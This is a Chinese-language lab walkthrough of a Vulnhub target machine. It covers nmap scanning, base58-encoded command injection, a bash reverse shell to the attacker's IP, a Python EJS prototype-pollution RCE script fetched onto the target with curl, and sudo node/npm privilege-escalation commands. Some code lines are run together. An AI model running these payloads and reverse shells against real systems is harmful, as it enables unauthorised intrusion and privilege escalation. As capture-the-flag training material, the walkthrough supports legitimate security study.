Vulnhub:
参考博客
GTFOBins
本机ip:192.168.56.102
目的机ip:192.168.56.126
fping -aqg 192.168.56.0/24
nmap 扫描主机
nmap -A -T4 -v 192.168.56.126
扫描目录无果,开放22,80和8000,访问
内容相似,bp抓包,发现参数format
将内容进行识别,可能是base64或base58
两个都测试后,是base58
bp去除参数,查看结果比较,猜测是date命令
使用pwd测试,确认可以rce
拼接获取webshell
&& bash -c 'bash -i >& /dev/tcp/192.168.56.102/4396 0>&1‘
base58编码
5ZUquXDzLaQ9v2JVGCs7yoNZW1yoG6jzAs7NYSJLVTF2XfF9FH3MnsGKCnp1cqZKA9M7QmAmv3iy5x
kali开启监听端口
nc -nvlp 4396
回退,有一个该应用的第二个版本,backend文件夹里有一个express-fileupload版本有已知漏洞可以提升权限
、
利用脚本原文链接
############################################################### Run this .py to perform EJS-RCE attack# referenced from# https://blog.p6.is/Real-World-JS-1/# # Timothy, 10 November 2020################################################################# importsimport requests### commands to run on victim machinecmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.102/4396 0>&1"'print("Starting Attack...")### polluterequests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})### execute commandrequests.get('http://127.0.0.1:8080')print("Finished!")
kali开启httpserver,webshell中使用wget或curl将脚本存入靶机
kali上: python -m SimpleHTTPServer
cd /tmpcurl http://192.168.56.102:8000/exp1.py./exp1.py
再开启一个监听端口,执行脚本,获取用户shell
sudo -l
尝试npm和node提权,node成功了
资料链接
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
npm部分资料链接
TF=$(mktemp -d)echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.jsonsudo npm -C $TF --unsafe-perm i
FLAG